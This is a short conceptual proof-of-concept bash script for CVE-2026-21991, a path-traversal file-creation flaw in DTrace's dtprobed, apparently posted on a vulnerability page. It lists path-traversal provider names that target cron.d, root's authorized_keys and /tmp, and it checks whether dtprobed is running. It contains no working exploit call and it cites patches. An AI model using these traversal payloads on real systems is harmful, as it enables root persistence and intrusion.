CVE-2026-21991 DTrace dtprobed组件任意文件创建漏洞

#!/bin/bash # CVE-2026-21991 PoC - DTrace dtprobed Arbitrary File Creation # This PoC demonstrates creating arbitrary files via crafted USDT provider names # Target: Oracle Solaris or other systems with vulnerable DTrace # Attack: Create file outside expected directory using path traversal # Example attack vector (conceptual) # The attacker would need to: # 1. Identify the vulnerable dtprobed component # 2. Craft a malicious USDT provider name with path traversal # 3. Register the provider to trigger file creation at arbitrary location # Example malicious provider name patterns: MALICIOUS_NAMES=( "../../etc/cron.d/malicious" # Path traversal to overwrite cron "../../root/.ssh/authorized_keys" # Add SSH key "../../../tmp/malicious_file" # Create in tmp directory ) # Check if dtprobed is running echo "[*] Checking dtprobed process..." ps -ef | grep dtprobed | grep -v grep # Note: Actual exploitation requires specific DTrace API calls # This is a conceptual PoC demonstrating the attack vector # Mitigation: Apply Oracle security patches for CVE-2026-21991 # Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-21991